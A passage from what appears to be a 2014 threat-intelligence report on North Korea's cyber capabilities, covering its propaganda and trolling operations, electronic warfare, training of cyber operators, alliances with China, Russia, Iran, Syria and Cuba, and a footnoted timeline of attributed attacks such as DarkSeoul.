In the past several years, South Korea has arrested at least 14 defectors
who were found to be spies.189
These intelligence collection and counterintelligence capabilities are an attempt to provide the
regime with a strategic asymmetrical advantage.
The regime leverages its human and cyber
resources around the globe to provide an influx of intelligence, while very little credible
intelligence about the regime’s activities and capabilities ever becomes available to the outside
world.
Psychological operations
North Korea continues to be a master of propaganda and deception and leverages the cyber
realm for psychological operations.
Modern North Korean psychological operations tactics include
distribution of propaganda via traditional media outlets, websites, and social media.
Many of
these psychological operations campaigns are politically focused.190 According to Dr. Andrei
Lankov, the North Korean government has “very rational and highly successful manipulators who
usually get what they want by outsmarting everybody else in the process.”191
The regime’s Unit 204 is responsible for cyber-psychological operations.
These
operations are PSYOP tailored for the cyber arena.
In order to be successful, cyber-     Such messages can be
used for recruitment,
psychological campaigns require speed, precision, and creativity.
These campaigns        cyber mobilization, and to
leverage the phenomenon of viral, unverified news stories that tend to rapidly           instill fear in a target
propagate via social media, mobile text messaging, and other electronic                  population.
communications.
This phenomenon creates an arena for strategic propagation of both
fact and fiction for the purposes of sentiment manipulation.
Such messages may be used for
185
http://www.outsideonline.com/outdoor-adventure/politics/Did-North-Korea-Kidnap-This-American-
Hiker.html?utm_content=buffer6bd46&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer
186
http://m.us.wsj.com/articles/tokyo-to-lift-some-sanctions-on-pyongyang-1404354699?mobile=y
187
http://www.nytimes.com/2013/10/02/world/asia/northern-spy-lifts-cloak-on-koreas-deadly-rivalry.html?pagewanted=2
188
http://www.kccoc.org/home/?mid=eng_kccoc_info_korea&document_srl=3223&sort_index=readed_count&order_type=desc
189
http://www.washingtonpost.com/world/prominent-n-korean-defector-acquitted-of-espionage-by-s-korean-court/2013/08/22/642b3712-0b19-
11e3-89fe-abb4a5067014_story.html
190
https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg
191
http://www.reddit.com/r/NorthKoreaNews/comments/296ryd/i_am_dr_andrei_lankov_i_studied_in_north_korea/
recruitment, cyber mobilization, and to instill fear in a target population.
Cyber-psychological
operations may also include mental suggestion using technology as a delivery mechanism for
subliminal cues.
It is unknown whether North Korea possesses this capability.192
North Korean citizens have access to state-approved social networks on the Kwangmyong.193
Figure 16 A photo posted by Jean Lee on Instagram shows one of the social networking sites on
the Kwangmyong.194
The regime has a limited overt social media presence on the Internet.
Some of the known social
media platforms employed by the regime include Twitter, Facebook, and YouTube.
The YouTube
channel North Korea Today, operated by user rodrigorojo1, features news clips from North Korea.
It is unclear whether this channel is officially sanctioned.195 The North Korea Today YouTube
channel also has corresponding profiles on Twitter196 and Facebook.197
192
http://fmso.leavenworth.army.mil/documents/new-psyop.pdf
193
http://www.austinchronicle.com/daily/sxsw/2013-03-11/social-media-in-north-korea/
194
http://instagram.com/p/WpcJs1OCkb/
195
https://www.youtube.com/user/rodrigorojo1
196
https://twitter.com/NorthKoreaT0day
197
https://www.facebook.com/pages/Korean-Central-Television/380193555435568?fref=ts
Figure 17 A screenshot of the North Korea Today YouTube Channel.198
The Uriminzokkiri website, known for pushing juche ideology and anti-American and anti-South
Korean messages, has accompanying social media profiles on YouTube,199 Google+,200 and
Facebook.201 It also has Twitter profiles in both Korean202 and English.203
198
https://www.youtube.com/user/rodrigorojo1
199
https://www.youtube.com/user/uriminzokkiri
200
https://plus.google.com/u/0/112306344682887627095
201
https://www.facebook.com/pages/Uriminzokkiri/124452740935216
202
https://twitter.com/uriminzok
203
https://twitter.com/uriminzok_engl
Figure 18 A screenshot of the Uriminzokkiri YouTube channel.204
Figure 19 A screenshot from the Uriminzokkiri Facebook page shows anti-U.S. and pro-juche
rhetoric.205
204
https://www.youtube.com/user/uriminzokkiri/featured
205
https://www.facebook.com/pages/Uriminzokkiri/124452740935216
Figure 20 A screenshot of the Uriminzokkiri Korean language Twitter profile.206
Figure 21 A screenshot of the Uriminzokkiri English language Twitter profile.207
North Korean propaganda208 is used for several purposes: to enforce the ideals of allies       In the spirit of juche,
and sympathizers, to frame North Korea in a favorable light to outsiders, to                   the regime uses
sensationalize the regime’s perceived self-reliance and military prowess, and to shield its    disinformation to “hide
lapses or tout
own citizens from the outside world.209 Juche ideology and indoctrination of the regime’s
accomplishments that
youth ensure support of the local population.
North Koreans accept military duty as an         may have never been
honor and strive to excel in their service to the regime.
In the spirit of juche, the regime   achieved.”
uses disinformation to “hide lapses or tout accomplishments that may have never been
206
https://www.facebook.com/pages/Uriminzokkiri/124452740935216
207
https://twitter.com/uriminzok_engl
208
http://www.ncix.gov/publications/archives/docs/NORTH_KOREA_AND_FOREIGN_IT.pdf
209
http://fas.org/irp/eprint/cno-dprk.pdf
achieved.”210 Limiting citizen access to the outside world by instituting the Kwangmyong intranet,
North Korea ensures its citizens are not exposed to outside information that is counterproductive
to citizen indoctrination or in conflict with juche ideals.
North Korea portrays the West, particularly
the United States, as an enemy.
The regime uses this strategy of shifting the population’s
negative sentiments toward an external entity to keep its citizens ignorant of North Korea’s own
economic hardship, regime brutality, and systemic incompetence.211 For example, prior to Kim
Jong Il’s death in 2011, North Korean media altered photos of their “Dear Leader” to make him
appear younger and healthier than he really was.
This became obvious when the altered photos
were compared to those taken by Western media around the same time.
212
According to Dr. Andrei Lankov, “North Koreans now have a much better understanding of what is
going on in the outside than they did before.
This is largely thanks to the spread of DVDs and
video content in the country, but also because some of them have been to China and talk about
what they have seen…many [of] them sincerely believe that the United States remains ready to
attack at any moment and that Japan is an incurably aggressive place…nearly all of them swallow
the official propaganda myths about the Korean War being started by the 'American Imperialists'
who invaded them.
Hence, they see the outside world as an inherently dangerous place.”213 Some
human rights groups seek to reach out to North Korean citizens and break them from this
isolation.
In August 2014, the New York-based charity Human Rights Foundation sponsored a
hackathon in San Francisco called “Hack North Korea” to find new ways to get information in, out,
and around North Korea.
The event brought together many programmers, human rights
campaigners, and defectors.214
North Korea even uses “trolling” as a PSYOP tactic.
On the Internet, “trolls” are users who post
messages that are often crass, controversial, inflammatory, or offensive, in order to evoke a
strong reaction or influence a reader’s opinion.
Often, the motivation for trolling is simply for the
troll’s enjoyment.
The rude and offensive trolling tactics are in stark contrast to traditional forms
of persuasive rhetoric.
However, North Korea reportedly utilizes over 200 military intelligence
operatives to troll South Korean message boards and social media pages with pro-North Korean
sentiments.215 Matt Rhoades, director of the cyberspace and security program at the Truman
National Security Project, said, "North Korea's cyber-development is almost just a new
harassment mechanism for them, a low-cost, asymmetric method to harass its neighbor in the
south…"216
Leveraging the cyber and intelligence resources noted above, North Korea’s psychological
operations serve an important strategic role.
The ability to influence outsiders, while effectively
isolating its own population from most outside influence, allows North Korea to remain an
enigma.
Additionally, in line with its PSYOP tactics, North Korea may strategically take credit for
cyber attacks that were, in reality, launched by another entity.
Whether the targeted entity blames
210
http://www.ists.dartmouth.edu/docs/cyberwarfare.pdf
211
http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf
212
https://www.strategypage.com/htmw/htmurph/articles/20131106.aspx
213
http://www.reddit.com/r/NorthKoreaNews/comments/296ryd/i_am_dr_andrei_lankov_i_studied_in_north_korea/
214
http://www.northkoreatech.org/2014/08/05/hack-north-korea-focuses-silicon-valley-on-information-flow/
215
http://www.strategypage.com/htmw/htiw/articles/20131213.aspx
216
http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/4
North Korea for the attacks, or the regime simply takes credit for an attack that has not yet been
attributed, several PSYOP goals can come into play.
First, to claim credit for an attack amplifies
the impact of a show of force, particularly if South Korea is the target.
This tactic can be used to
stir sentiments in order to provoke a reaction.
Second, North Korea may lay claim to responsibility
for an attack that exceeds its capabilities in order to seem more technologically advanced and
more capable.
Third, any success, or the appearance thereof, enforces the juche ideal of regime
self-sufficiency.
Finally, North Korea may act as a scapegoat and claim credit for a cyber attack of
an ally such as China so the attack is not attributed to the real actors.217
Electronic warfare
North Korea reportedly has the electronic warfare capabilities to jam GPS and to inject false GPS
coordinates.218 North Korea demonstrated these capabilities in March 2011 by jamming South
Korea’s GPS signals during a joint U.S.-South Korea military exercise.219 North Korea has the
capability to create an EMP.220 An EMP is a sudden, extreme outburst of atmospheric electricity
creating an intense magnetic field that can burn out electrical equipment.
221 A report from the
U.S. Department of Homeland Security (DHS) noted North Korea’s ability to deliver a nuclear
warhead as a satellite over the South Pole, effectively creating the burst needed to deliver an EMP
targeting the United States.
An EMP could effectively disrupt electronic communications including
critical infrastructure components such as telecommunications, financial institutions, the energy
sector, transportation, food and water delivery, emergency services, and space systems.
222 North
Korea reportedly acquired its EMP technology from Russia.223
North Korea also has a drone program.
The regime reportedly acquired its first drones in the late
1980’s or early 1990’s.
The regime’s drones are complimentary to its intelligence program and
are primarily used for surveillance.224 In early 2014 a North Korean drone crashed south of the
38th parallel, the line dividing North Korea from the south.225 While early reports noted that the
drones appeared similar to those manufactured by Chinese company Tauyuan Navigation Friend
Aviation Technology, the company denied involvement.226
217
http://fas.org/irp/doddir/army/fm3-05-301.pdf
218
https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg
219
http://www.reuters.com/article/2011/05/03/us-korea-north-cyber-idUSTRE7421Q520110503
220
http://defensetech.org/2007/12/24/inside-dprks-unit-121/
221
http://usatoday30.usatoday.com/tech/science/2010-10-26-emp_N.htm
222
http://www.wnd.com/2014/04/dhs-study-north-korea-capable-of-emp-attack-on-u-s/
223
http://www.extremetech.com/extreme/170563-north-korea-emp
224
http://38north.org/2014/07/jbermudez070114/?utm_source=feedly&utm_reader=feedly&utm_medium=rss&utm_campaign=jbermudez070114
225
http://www.popsci.com/blog-network/eastern-arsenal/north-koreas-new-drones-are-chinese-which-opens-new-mystery
226
http://www.scmp.com/news/china-insider/article/1494207/north-korean-drones-not-theirs-says-chinese-retailer
Figure 22 A drone attributed to North Korea.
227
Stressing the importance of the regime’s electronic warfare capabilities, in 1999 former regime
leader Kim Jong Il said “The basic key to victory in modern warfare is to do well in electronic
warfare.”228 Since the regime’s advanced technology lags behind that of South Korea and the U.S.,
its capability to disrupt the communications of these perceived adversaries is a vital asymmetric
capability.229
Training cyber warriors
North Korea utilizes primary and secondary education and the university system to train its cyber
warfare operators.
According to reports by defectors, the regime seeks out children who show
mathematical talent and sends them through rigorous advanced training.230 A vintage North
Korean animation stresses the importance of mathematics in North Korean education.
The short
film follows a young boy as he does his geometry homework.
The frustrated boy begins to
daydream then has visions of going to war with the U.S. and needing geometry to effectively
calculate missile trajectory during the battle.231
227
http://blogs.wsj.com/korearealtime/2014/04/02/seoul-points-to-north-korea-in-crashed-drones-investigation/
228
http://www.apcss.org/Publications/Edited%20Volumes/BytesAndBullets/CH13.pdf
229
http://www.apcss.org/Publications/Edited%20Volumes/BytesAndBullets/CH5.pdf
230
http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html
231
http://theweek.com/article/index/255243/how-to-kill-americans-with-geometry-a-north-korean-propaganda-film-for-kids
Figure 23 A screenshot from the North Korean animation depicting geometry as a necessary skill
for battle.232
Science and technology students are expected to learn foreign languages, which may include
Chinese, Japanese, and English.233 Student emails, chats, and web browsing activities are heavily
monitored.234 Around age twelve or thirteen, chosen students are enrolled in accelerated
computer courses at First and Second Geumseong Senior-Middle Schools.
232
https://www.youtube.com/watch?v=ujtp-70zQME
233
https://www.cia.gov/library/center-for-the-study-of-intelligence/csi-publications/csi-studies/studies/vol48no1/article04.html
234
http://www.thestar.com/news/world/2014/02/23/north_korea_where_the_internet_has_just_5500_sites.html#
Figure 24 North Korean students training for cyber war.235
The successful students are then sent to Kim Il-sung University, Kim Chaek University of
Technology,236 or the Command Automation University, traditionally known as Mirim University.
Kim Il-sung University’s computer center was started in 1985.
Its computer courses have a heavy
programming element.
The university reportedly developed the Intelligent Locker hard disc
protection program, Worluf Antivirus, SIMNA (simulation and system analysis program), a war
games program, a hepatitis diagnosis and prescription system, and a C++ program development
tool called FC 2.0.237 Kim Il-sung University also has programs focusing on nuclear research.238
Kim Chaek University of Technology was established in 1948.
In the late 1990s, it began to
restructure its computer-focused courses to reflect more modern technologies.
As of 2002, the
university had three colleges focusing on computer science, information science and technology,
and machine science.
Software developed by the university includes Computer Fax and SGVision,
an image-reprocessing program used for steganography.239 Students and instructors must
submit a formal request for permission in order to use the Internet for research.240
235
http://www.courierpress.com/news/2013/apr/19/young-north-koreans-train-seek-revenge-us/
236
http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html
237
http://www.ists.dartmouth.edu/docs/cyberwarfare.pdf
238
http://www.nti.org/facilities/789/
239
http://www.ists.dartmouth.edu/docs/cyberwarfare.pdf
240
http://www.theguardian.com/world/2013/jan/08/north-korean-google-chief-search
The Command Automation University periodically chooses around 100 students for an intensive
five-year course prior to their assignment to serve in cyber intelligence and cyber warfare
capacities.241 Programs at the Command Automation University include command automation,
computers, programming, automated reconnaissance, and electronic warfare.242 Other students
attend a two-year accelerated university program, then study abroad in Russia or China before
they are assigned to a cyber-operator role.243
The elite cyber operators are given special incentives.
For example, parents of students
graduating from the cyber program with top scores are given the opportunity to live in
Pyongyang; and married cyber operators are given housing, a food allowance, and a stipend if
operating overseas.
Due to the nature of their profession, these cyber elite are some of the only
North Koreans allowed to access the outside Internet.244
Important political and military ties
While this report focuses on North Korea’s cyber warfare capabilities, these capabilities cannot be
fully separated from the implications of partnerships with countries known to deal in illegal
weapons trade with the regime.
Now that cyberspace has become a legitimate arena for warfare,
these nations are also potential allies in the cyber realm.
For this reason, the regime’s key political
and military relationships are explored below.
China
North Korea has a longstanding historical relationship with China.
During the Korean War (1950-
1953), China allied with North Korea’s Communist forces.
China has also provided ongoing
political and economic support to the regime’s leadership and is a primary trade partner.
North
Korea is economically dependent on China.
North Korea gets an estimated 90 percent of its
energy imports, 80 percent of its consumer goods, and 45 percent of its food supply from China.
This relationship is prudent – in the event of a military conflict, China can strategically use North
Korea as a buffer zone between itself and South Korea, where many U.S. military personnel are
stationed.
Chinese aid to North Korea also deters the likelihood that the regime will collapse,
resulting in internal destabilization that could catalyze a U.S.-China conflict.245
North Korea relies heavily on China for technological resources.
As noted above, North Korea
relies on China’s Unicom for Internet access.246 Additionally, the regime sends some of its cyber
warriors to train in China247 and stations a portion of its Unit 121 personnel in Shenyang.248 Some
of North Korea’s official websites are hosted in China, 249 and KCC has a branch office there.250
241
https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg
242
http://www.ists.dartmouth.edu/docs/cyberwarfare.pdf
243
http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html
244
http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html
245
http://www.cfr.org/china/china-north-korea-relationship/p11097#p1
246
https://rdns.im/the-pirate-bay-north-korean-hosting-no-its-fake-p2
247
http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html
248
http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/4
249
http://binarycore.org/2012/05/30/investigating-north-koreas-netblock-part-3-topology/
250
http://www.naenara.com.kp/en/kcc/
North Korea also relies on China to provide much of its network hardware, including servers and
routers.251
Russia
North Korea has a long history of ties to Russia.
The former Soviet Union was the major sponsor
of the North Korean state and a major trading partner.
Following the dissolution of the Soviet
Union, aid to North Korea was halted and trade diminished significantly.
This chain of events
contributed to North Korea’s eventual economic collapse, as it could not survive without aid.252
North Korea currently has a collaborative relationship with Russia in the cyber realm.
The regime’s
CSTIA relies on Russia as one of several sources for technical data.253 North Korea also sends
some of its cyber warriors to train in Russia,254 and the regime reportedly acquired its EMP
technology from there.255
Political ties between Russia and North Korea have become stronger in recent months.
In 2014,
potentially as a result of the U.S. response to the Russian-Ukranian conflict, Russia began to
strengthen ties with North Korea.
Negotiations reportedly included promises of trade and
development projects.
Narushige Michishita, a North Korea and Asia security expert at Japan's
National Graduate Institute for Policy Studies, stated “By strengthening its relationship with North
Korea, Russia is trying to enhance its bargaining position vis-à-vis the United States and Japan.”256
Russia also recently forgave most of the regime’s debts.257
Iran
North Korea and Iran have longstanding political and military ties.
North Korea supplied Iran with
conventional arms during the Iran-Iraq War.
Iran and North Korea reportedly collaborate closely in
ballistic missile development efforts.
In the past, Iran provided the North Korean regime with
necessary funds and oil in exchange for missile parts and technology.
258 259 In 2009, a North
Korean plane transporting 35 tons of weapons and allegedly bound for Iran was seized after
making an unscheduled stop in Bangkok, Thailand.
That same year, United Arab Emirates seized a
ship bound for Iran that was transporting several containers of North Korean weapons, including
rocket-propelled grenades and ammunition.
Reportedly, the customer was a company affiliated
with Iran’s Islamic Revolutionary Guard Corps.
260 261
North Korea also has cyberwar ties with Iran.
In 2012, North Korea and Iran signed a technology
treaty to help combat “common enemies” in cyberspace.
The treaty included provisions for
cooperation in research, student exchanges, and joint laboratories.
Joint projects reportedly
251
http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/4
252
http://www.aljazeera.com/indepth/opinion/2014/06/n-korea-russia-step-toward-worl-201462253320470677.html
253
https://www.cia.gov/library/center-for-the-study-of-intelligence/kent-csi/vol48no1/pdf/v48i1a04p.pdf
254
http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html
255
http://www.extremetech.com/extreme/170563-north-korea-emp
256
http://www.theguardian.com/world/2014/jun/04/russia-bolster-ties-north-korea
257
http://www.voanews.com/content/russia-forgives-north-korean-debt/1939188.html
258
http://thediplomat.com/2013/10/the-iran-secret-explaining-north-koreas-rocket-success/2/
259
http://humanities.tau.ac.il/iranian/en/previous-reviews/10-iran-pulse-en/117-10
260
http://www.armscontrol.org/factsheets/dprkchron
261
http://www.irantracker.org/foreign-relations/north-korea-iran-foreign-relations
include IT information sharing, engineering, biotechnology, renewable energy, and sustainability.
F-Secure’s Mikko Hypponen stated, "It's highly likely that one of the reasons for this co-operation
is for them to work together regarding their cyber defence and cyber offense strategies".
Hypponen cited Flame malware as a possible triggering event for the creation of this treaty.
Others also suspect that Iran and North Korea’s mutual interest in development of nuclear
weapons and the need to protect refineries against malware such as Stuxnet were driving factors
in the establishment of the treaty.262 U.S. House Foreign Affairs Committee leaders assert that the
treaty indicates North Korea and Iran are collaborating on a joint nuclear weapons program.263
Additionally, North Korea, in conjunction with Iran and Syria, reportedly supports both Hamas and
Hezbollah in procuring kinetic weaponry and communications equipment and in establishing
operational infrastructure.264 265 266
Syria
North Korea has both a cyber relationship and kinetic weapons ties with Syria.
KCC reportedly has
a branch in Syria.267
In 2007, Israel launched an airstrike, destroying a Syrian target that was allegedly a nuclear facility
under construction with North Korea’s assistance.
U.S. officials noted the facility was modeled on
the North Korean nuclear reactor at Yongbyon.268
The North Korea-Syria relationship becomes more important in the context of both countries’ ties
with Iran.
As noted above, Iran, North Korea, and Syria jointly provide support to extremist groups
Hamas and Hezbollah.269 270 271 Additionally, as we explored in HPSR Security Briefing Episode 11,
Iran and Syria’s military alliances extend to joint SIGINT and cyber operations.272
Cuba
North Korea also has an interesting relationship with Cuba – one that includes supplying weapons
and apparent attempts to illegally smuggle weapons.
In 2013, a North Korean cargo ship on its
return voyage was stopped near the Panama Canal.
The ship was carrying surface-to-air missile
parts, disguised as containers of sugar.
In an attempt to save face, Cuba’s Ministry of Foreign
Affairs stated that the cargo included "240 metric tons of obsolete defensive weapons -- two anti-
aircraft missile complexes Volga and Pechora, nine missiles in parts and spares, two Mig-21 Bis
and 15 motors for this type of airplane, all of it manufactured in the mid-20th century -- to be
262
http://www.v3.co.uk/v3-uk/news/2202493/iran-and-north-korea-sign-technology-treaty-to-combat-hostile-malware
263
http://www.voanews.com/content/ties-among-north-korea-syria-iran-a-major-security-threat/1639769.html
264
http://38north.org/2014/08/aberger080514/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+38North+%2838+North%3A+
Informed+Analysis+of+North+Korea%29
265
http://www.jewishjournal.com/opinion/article/hamas_global_support_network_must_be_targeted
266
http://www.ibtimes.com/north-korea-send-hamas-weapons-communication-equipment-secret-arms-deal-1640088
267
http://www.naenara.com.kp/en/kcc/
268
http://www.armscontrol.org/factsheets/dprkchron
269
http://38north.org/2014/08/aberger080514/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+38North+%2838+North%3A+
Informed+Analysis+of+North+Korea%29
270
http://www.jewishjournal.com/opinion/article/hamas_global_support_network_must_be_targeted
271
http://www.ibtimes.com/north-korea-send-hamas-weapons-communication-equipment-secret-arms-deal-1640088
272
http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/HPSR-Threat-Intelligence-Briefing-Episode-11/ba-p/6385243#.U_TiZGSwL-0
repaired and returned to Cuba."
Experts said the cargo appeared to include a SNR-75 Fan Song
fire-control radar system for an SA-2 missile, a Soviet-era missile system that was also used in
Cuba.273 Following the incident, Fidel Castro credited former North Korean leader Kim Il-Sung for
providing Cuba with weapons near the end of the Cold War.
Weapons included 100,000 AK rifles
and necessary ammunition.274
While no apparent cyber relationship exists between North Korea and Cuba at this time, their track
record for weapons trade means the potential for future collaboration in the cyber realm cannot
be discounted.
Timeline of significant North Korean cyber activity
2004
       North Korea gains access to 33 South Korean military wireless communication
networks275
2006
       The U.S. State Department is attacked by entities in the East Asia-Pacific region.
The
attacks coincided with State Department negotiations with North Korea regarding the
regime’s nuclear missile tests.
(June)276
    A South Korean military official states North Korea’s Unit 121 has breached South Korean
and U.S. military entities.
(July)277
2007
       North Korea tests a logic bomb (October)278
2009
       North Korea states that it is “fully ready for any form of high-tech war.” (June)279
       DarkSeoul DDoS and disk wiping malware targeting South Korean and U.S. government,
media outlet, and financial websites.
These attacks also coincided with U.S.
Independence
Day.
(July)280 281
       Malware for “Operation Troy” was likely planted.282
2010
       DarkSeoul Backdoor.
Prioxer detected (June) 283
       Korean Central News Agency website becomes North Korea’s first known direct
connection to the Internet (October)284
273
http://www.nbcnews.com/news/other/north-korean-ship-carrying-hidden-missile-equipment-detained-after-leaving-f6C10647045
274
http://www.abc.net.au/news/2013-08-15/fidel-castro-cuba-north-korea-war-ussr/4887920
275
http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea
276
http://www.informationweek.com/state-department-releases-details-of-computer-system-attacks/d/d-id/1045112?
277
http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea
278
http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea
279
http://www.huffingtonpost.com/2009/07/11/north-korea-army-lab-110-_n_229986.html
280
http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war
281
http://powerofcommunity.net/poc2009/si.pdf
282
http://www.darkreading.com/attacks-and-breaches/south-korean-bank-hackers-target-us-military-secrets/d/d-id/1110674?
283
http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war
284
http://www.northkoreatech.org/2010/10/09/the-new-face-of-kcna/
2011
       “10 Days of Rain” Attack - DarkSeoul DDoS and disk wiping malware against South Korean
media, financial, and critical infrastructure targets (March)285 286
       North Korea disrupts South Korean GPS signals (March)287
       North Korea reportedly attempts DDoS attack against Incheon Airport 288
       Nonghyup bank suffers DDoS attack (April)289
2012
       South Korean newspaper JoongAng Ilbo attacked (June)290
       DarkSeoul Downloader.
Castov detected (October)291
       North Korea signs treaty with Iran, agreeing to combat “common enemies” in
cyberspace292
2013
       “March 20” disk wiping attacks against South Korean media and financial institutions
(March)293
    Whois Team claims responsibility for attacking LG +U website with wiper malware and
defacement, impacting South Korean media and financial institutions (March) 294 295
    The New Romantic Cyber Army Team claims responsibility for the same attacks296
    North Korea experiences 36-hour Internet outage.
The cause was never definitively
determined297
    Anonymous launches #OpNorthKorea and targets North Korean websites (March)298
    Anonymous allegedly hacks Uriminzokkiri and takes over its Twitter and Flickr pages 299
(April)
    DarkSeoul attack on South Korean financial institutions (May)300
    DarkSeoul DDoS attacks against South Korean government’s DNS server (June)301
    Details on Kimsuky malware, which targeted South Korean think tanks, first released
(September)302
2014
       North Korean drones found near South Korean border (March and April)303
285
http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war
286
https://docs.google.com/file/d/0B6CK-ZBGuMe4dGVHdTZnenJMRUk/preview?pli=1
287
http://www.reuters.com/article/2011/05/03/us-korea-north-cyber-idUSTRE7421Q520110503
288
http://threatpost.com/report-north-korea-accused-ddos-attack-south-korean-airport-060712/76664
289
http://koreajoongangdaily.joins.com/news/article/article.aspx?aid=2965629
290
http://www.theaustralian.com.au/news/latest-news/south-korean-newspaper-joongang-ilbo-hit-by-major-cyber-attack/story-fn3dxix6-
1226391202749
291
http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war
292
http://www.v3.co.uk/v3-uk/news/2202493/iran-and-north-korea-sign-technology-treaty-to-combat-hostile-malware
293
http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war
294
http://www.zdnet.com/massive-attack-on-lg-uplus-sparks-n-korea-reprisal-fears-7000012881/
295
http://www.theregister.co.uk/Print/2013/03/22/sk_megahack/
296
http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/2
297
http://www.computerworld.com/s/article/9237652/North_Korea_39_s_Internet_returns_after_36_hour_outage
298
http://www.northkoreatech.org/2013/03/30/tango-down-more-attacks-on-dprk-websites/
299
http://www.washingtontimes.com/news/2013/apr/4/anonymous-hackers-bring-down-north-korean-websites/
300
http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war
301
http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war
302
http://www.securelist.com/en/analysis/204792305/The_Kimsuky_Operation_A_North_Korean_APT
303
http://blogs.wsj.com/korearealtime/2014/04/02/seoul-points-to-north-korea-in-crashed-drones-investigation/
Patterns in the noise: cyber incidents attributed to North Korean actors
It is interesting to note that much of North Korea’s cyber activity follows a distinct pattern.
Analysis of North Korean cyber activity gives insight into these patterns and also helps tie
together North Korea’s strategic, tactical, and operational capabilities.
Strategic capabilities refer
to the assets used in support of a long-term, overarching goal.
Tactical capabilities refer to the
methods and maneuvers actually implemented in pursuit of the strategic goal.304 Operational
capabilities refer to the potential use of these capabilities.305
In 2004, in response to the annual U.S. – South Korea joint military exercises, North Korea
reportedly gained access to 33 South Korean military wireless communication networks.306 The
next significant cyber attack attributed to North Korea was in June 2006.
The U.S. State
Department was attacked by entities in the East Asia-Pacific region.
The attacks coincided with
State Department negotiations with North Korea regarding the regime’s nuclear missile tests.
307
In July 2006, North Korea’s Unit 121 reportedly breached South Korean and U.S. military
entities.308 This attack was concurrent with the regime’s test-fire of at least one long-range
missile and several medium-range missiles.309
2007 was politically tumultuous for North Korea.
Following multi-national talks, the UN’s
International Atomic Energy Agency (IAEA) ordered the shutdown of the regime’s nuclear facilities
in Yongbyon in July.310 Its nuclear efforts temporarily thwarted, North Korea tested a logic bomb
in October 2007.311
In April 2009, North Korea ejected IAEA and U.S. nuclear compliance officials.
The regime indicated
refusal to comply with any UN agreements regarding nuclear weaponry and announced it would
reinstate its nuclear materials production.
The next month, North Korea conducted an
underground nuclear test and voiced its confidence that the regime was well on its way to
producing viable nuclear technology.
The UN called an emergency meeting condemning the
nuclear weapons test, and South Korea joined the Proliferation Security Initiative (PSI).
North
Korea issued a statement via KCNA calling South Korea’s involvement in PSI an act of war.312 In
June 2009, North Korea stated that it was “fully ready for any form of high-tech war.”313 The
following month, DDoS and disk wiping malware, later known as DarkSeoul, targeted South
Korean and U.S. government entities, media outlets, and financial websites.
The attacks coincided
304
http://www.scholastic.com/teachers/article/strategy-and-tactics-military
305
http://www.dau.mil/pubscats/Pages/preface.aspx
306
http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea
307
http://www.informationweek.com/state-department-releases-details-of-computer-system-attacks/d/d-id/1045112?
308
http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea
309
https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=2&ved=0CCMQFjAB&url=http%3A%2F%2Fwww.bbc.com%2Fnews%2Fworld-
asia-pacific-
15278612&ei=fabyU6XQLsLFigLH94GIAw&usg=AFQjCNGbrzkNZJ5tz4jmLyMPsCHEHc41WA&sig2=l8FMAdbvzFxYeBBOAMWO6Q&bvm=bv.73231344,d
.cGE&cad=rja
310
http://www.armscontrol.org/factsheets/dprkchron
311
http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea
312
http://www.armscontrol.org/factsheets/dprkchron
313
http://www.huffingtonpost.com/2009/07/11/north-korea-army-lab-110-_n_229986.html
with U.S.
Independence Day.314 315 Other malware used for Operation Troy was also planted.
Operation Troy would continue for several years, largely undetected.316
In early 2011, political and military tensions were high.
In February, James Clapper, United States
Director of National Intelligence, testified that North Korea likely had undeclared uranium
enrichment facilities as part of its nuclear weapons program.317 In March 2011, South Korean
media, financial, and critical infrastructure targets suffered a DDoS and disk-wiping malware
attack later known as the “10 Days of Rain”.
